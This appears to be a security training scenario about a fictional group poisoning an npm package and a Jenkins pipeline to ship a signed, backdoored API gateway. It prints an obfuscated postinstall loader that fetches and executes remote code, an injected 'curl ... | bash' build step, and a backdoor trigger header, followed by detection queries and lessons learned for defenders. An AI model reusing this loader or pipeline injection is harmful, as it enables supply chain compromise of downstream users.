SC-025: Software Supply Chain Compromise¶

Threat Actor Profile¶

PHANTOM FORGE is a technically advanced threat group active since late 2024, specializing in software supply chain compromise. Unlike opportunistic attackers who target individual organizations, PHANTOM FORGE infiltrates upstream software dependencies and CI/CD pipelines to distribute backdoored artifacts to hundreds of downstream consumers simultaneously. The group demonstrates deep expertise in package management ecosystems (npm, PyPI, Maven), CI/CD orchestration platforms (Jenkins, GitHub Actions, GitLab CI), and code signing infrastructure.

The group has been observed compromising open-source libraries with high dependency counts, injecting malicious code during build processes, and bypassing code signing controls by stealing or forging signing certificates. Their operations exhibit patience — staging access for weeks before activating payloads — and operational security that includes C2 infrastructure rotating every 72 hours.

Motivation: Financial (ransomware deployment, data theft for sale) with suspected nation-state tasking for specific high-value targets in the defense and financial sectors.

Estimated Impact: 15+ confirmed supply chain compromises affecting ~1,200 downstream organizations, with estimated losses exceeding $45M across all victims.

Target Environment¶

Organization: Velocity Software Inc. (fictional) — a mid-size SaaS company with 400 employees, developing a widely used API gateway product deployed by 2,000+ enterprise customers.

Scenario Narrative¶

Phase 1 — Dependency Poisoning (~30 min)¶

PHANTOM FORGE identifies that VelocityGate's API gateway depends on an open-source npm package called fastlog-utils (fictional), maintained by a single developer. The package receives ~50,000 weekly downloads and is used by VelocityGate's core logging subsystem.

The attacker compromises the maintainer's npm account via credential stuffing (the maintainer reused a password exposed in a 2025 breach). With publish access, PHANTOM FORGE releases version 2.4.1 of fastlog-utils containing a postinstall script that downloads a secondary payload. The malicious code is obfuscated within a legitimate-looking performance improvement commit.

The poisoned package version is pulled automatically during VelocityGate's next CI build due to a permissive version range in package.json:

{
  "dependencies": {
    "fastlog-utils": "^2.3.0"
  }
}

The ^2.3.0 range allows any minor/patch update, so 2.4.1 is installed automatically without developer review.

Malicious postinstall behavior:

// Obfuscated within legitimate minified code
const https = require('https');
const { execSync } = require('child_process');
const os = require('os');

if (process.env.CI === 'true' || process.env.JENKINS_URL) {
  // Only activate in CI/CD environments
  const payload = Buffer.from('aHR0cHM6Ly8yMDMuMC4xMTMuOTk=', 'base64').toString();
  https.get(`${payload}/gate/${os.hostname()}`, (res) => {
    let data = '';
    res.on('data', (chunk) => data += chunk);
    res.on('end', () => {
      try { execSync(data, { stdio: 'ignore' }); } catch(e) {}
    });
  });
}

Evidence Artifacts:

Phase 2 — CI/CD Pipeline Compromise & Persistence (~35 min)¶

The stage-2 payload downloaded to the Jenkins agent establishes persistent access to the build environment. The attacker:

1. Enumerates Jenkins credentials store, extracting GitHub PATs, Artifactory API keys, and SSH keys
2. Modifies the Jenkinsfile in the velocitygate-core repository to inject a build step that embeds a backdoor into compiled artifacts
3. Installs a Jenkins plugin backdoor disguised as a "Build Metrics Collector" that persists across Jenkins restarts

The modified Jenkinsfile adds a subtle post-build step:

stage('Build') {
    steps {
        sh 'npm run build'
        sh 'npm run test'
    }
}
stage('Package') {
    steps {
        sh 'tar -czf velocitygate-${BUILD_NUMBER}.tar.gz dist/'
        sh 'npm run sign-artifact'
    }
}

stage('Build') {
    steps {
        sh 'npm run build'
        sh 'npm run test'
    }
}
stage('Package') {
    steps {
        // Injected: patch binary before packaging
        sh 'curl -sf https://203.0.113.99/patch | bash'
        sh 'tar -czf velocitygate-${BUILD_NUMBER}.tar.gz dist/'
        sh 'npm run sign-artifact'
    }
}

The injected curl command downloads a script that patches the compiled JavaScript bundles to include a reverse shell triggered by a specific HTTP header (X-Debug-Mode: PHANTOM-FORGE-2026). The patch is applied before the artifact is signed, meaning the backdoored artifact receives a valid code signature.

Evidence Artifacts:

Phase 3 — Backdoored Artifact Distribution (~30 min)¶

Over the next 5 days, the compromised CI/CD pipeline produces 12 builds of VelocityGate, all containing the backdoor. The artifacts are signed with Velocity Software's legitimate code signing certificate (the signing process occurs after the backdoor injection) and published to Artifactory.

The release process distributes velocitygate-5.2.1 to customers via:

• Artifactory download portal (enterprise customers)
• Docker Hub image velocitysoftware/velocitygate:5.2.1
• Helm chart repository update

Within 5 days, 340 customer organizations have deployed the backdoored version.

On Day 6, PHANTOM FORGE activates the backdoor by sending HTTP requests with the trigger header to customer-facing VelocityGate instances discovered via Shodan:

GET /api/health HTTP/1.1
Host: target.example.com
X-Debug-Mode: PHANTOM-FORGE-2026

The backdoor establishes a reverse HTTPS connection to 203.0.113.101:443 (rotating C2), providing the attacker with command execution in the context of the VelocityGate process — which typically runs with elevated privileges to manage API traffic.

Detection Timeline:

Evidence Artifacts:

Phase 4 — Post-Compromise Activity at Customer Sites (~25 min)¶

At 23 customer organizations where the backdoor was activated, PHANTOM FORGE conducts targeted post-exploitation:

1. Credential Harvesting: VelocityGate processes API traffic and has access to API keys, OAuth tokens, and session cookies in transit. The attacker exfiltrates these credentials.
2. Lateral Movement: Using harvested credentials, the attacker pivots from the API gateway to internal services, databases, and cloud resources.
3. Data Exfiltration: At 5 high-value targets (financial institutions and healthcare companies), the attacker stages and exfiltrates sensitive data via HTTPS to 203.0.113.102.
4. Ransomware Deployment: At 3 organizations, the attacker deploys ransomware after exfiltrating data, demanding payment in cryptocurrency.

Evidence Artifacts:

Indicators of Compromise (IOCs)¶

Detection Opportunities¶

SIEM Detection Queries¶

// Detect postinstall script execution in CI/CD environments
DeviceProcessEvents
| where InitiatingProcessFileName in ("node", "npm")
| where FileName in ("sh", "bash", "cmd", "powershell")
| where ProcessCommandLine has_any ("curl", "wget", "Invoke-WebRequest")
| where DeviceName has_any ("jenkins", "build-agent", "runner")
| project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine
| sort by Timestamp desc

// Detect Jenkinsfile modifications
GitHubAuditLog_CL
| where Action_s == "git.push"
| where FilesChanged_s has "Jenkinsfile"
| where ActorIP_s !in ("10.20.1.0/24")
| project TimeGenerated, Actor_s, Repository_s, ActorIP_s, CommitSHA_s

// Detect backdoor trigger header
AzureDiagnostics
| where ResourceType == "APPLICATIONGATEWAYS"
| where requestHeaders_s has "X-Debug-Mode"
| project TimeGenerated, clientIP_s, requestUri_s, requestHeaders_s

// Detect postinstall script execution in CI/CD environments
index=endpoint sourcetype=sysmon EventCode=1
ParentImage="*node*" OR ParentImage="*npm*"
Image="*/sh" OR Image="*/bash"
CommandLine="*curl*" OR CommandLine="*wget*"
host="jenkins*" OR host="build-agent*"
| table _time, host, ParentImage, Image, CommandLine

// Detect Jenkinsfile modifications from unexpected sources
index=github sourcetype=github:audit action="git.push"
files_changed="*Jenkinsfile*"
NOT actor_ip="10.20.1.*"
| table _time, actor, repository, actor_ip, commit_sha

// Detect outbound connections from CI/CD agents to non-approved hosts
index=firewall sourcetype=pan:traffic action=allowed
src_ip="10.20.1.50"
NOT dest_ip="10.20.*" NOT dest_ip="10.0.*"
NOT dest_ip IN (approved_ci_destinations_lookup)
| stats count by dest_ip, dest_port, app
| sort -count

ATT&CK Mapping¶

Response Actions¶

Lessons Learned¶

What Went Well¶

• Customer SOC detected the outbound C2 connection from the activated backdoor within 24 hours
• Velocity Software's PSIRT team mobilized quickly once notified and issued advisory within 12 hours
• Artifact signing infrastructure was intact — the signing itself was not compromised, only the build input

What Failed¶

• No dependency integrity verification: Permissive semver ranges and missing lockfile enforcement allowed the poisoned package to enter the build without review
• No CI/CD network segmentation: Jenkins agents had unrestricted outbound internet access, enabling C2 communication
• No pipeline file change alerting: Jenkinsfile modification by a stolen PAT was not flagged because there was no separation between CI automation and pipeline configuration changes
• Code signing gap: Signing occurred after the build step, so a compromised build produced a validly-signed malicious artifact — the signing process verified identity, not integrity

Key Takeaways¶

1. Supply chain security requires defense in depth — lockfiles, integrity checks, network segmentation, reproducible builds, and provenance attestation are all necessary layers
2. CI/CD pipelines are high-value targets — treat them as critical infrastructure with the same security rigor as production
3. Code signing is not a silver bullet — if the build is compromised before signing, the signature validates a backdoored artifact
4. Dependency management is a security function — SCA tools, maintainer reputation assessment, and lockfile enforcement are essential
5. Incident response must include downstream notification — supply chain incidents require coordinated multi-party response

Remediation Playbook¶

Debrief Guide¶

What Went Well¶

• Customer SOC detected the outbound C2 connection from activated backdoor within 24 hours of activation
• Velocity Software's PSIRT team mobilized quickly and issued customer advisory within 12 hours
• Complete Jenkins audit logs and GitHub audit logs enabled full timeline reconstruction

Key Learning Points¶

• Single-maintainer packages are a systemic risk — assess dependency health as a security metric
• Semver ranges trust upstream publishers — lockfiles and integrity checks are the compensating control
• CI/CD credentials are crown jewels — a compromised build agent can access every secret in the pipeline
• Code signing validates identity, not integrity — signing a compromised build produces a valid but malicious artifact
• Supply chain attacks have multiplicative impact — one compromised build reaches hundreds of downstream consumers

Recommended Follow-Up¶

• [ ] Conduct supply chain risk assessment of all 1,400+ dependencies
• [ ] Implement SLSA Level 3 for all production artifact builds
• [ ] Deploy hermetic build environments with network isolation
• [ ] Establish dependency review board for new package approvals
• [ ] Conduct quarterly CI/CD security assessment
• [ ] Implement build provenance verification in customer deployment workflows
• [ ] Create incident response runbook specifically for supply chain compromise scenarios
• [ ] Share anonymized IOCs and TTPs with relevant ISACs

Discussion Questions¶

1. VelocityGate used a permissive semver range (^2.3.0) for a critical dependency. What is the trade-off between pinning exact versions (security) and allowing automatic updates (maintainability)? How do tools like Renovate or Dependabot help balance this?
2. The attacker injected the backdoor before code signing, producing a validly-signed malicious artifact. How does SLSA (Supply-chain Levels for Software Artifacts) address this gap? What SLSA level would have prevented this attack?
3. 340 customer organizations deployed the backdoored version. As Velocity Software's CISO, what is your communication plan? How do you handle customers who have already been compromised through the backdoor?
4. The poisoned npm package was published from a compromised maintainer account. What responsibility do package registries (npm, PyPI) have for verifying publisher identity? How would Sigstore/cosign help?
5. PHANTOM FORGE demonstrated patience — staging access for days before activation. How do you detect "dormant" supply chain compromises that pass all functional tests?

References¶

• Chapter 24: Supply Chain Attacks
• Chapter 9: Incident Response Lifecycle
• Chapter 6: Triage & Investigation
• Chapter 14: Threat Intelligence Fundamentals
• SLSA Framework — Supply-chain Levels for Software Artifacts
• NIST SP 800-218 — Secure Software Development Framework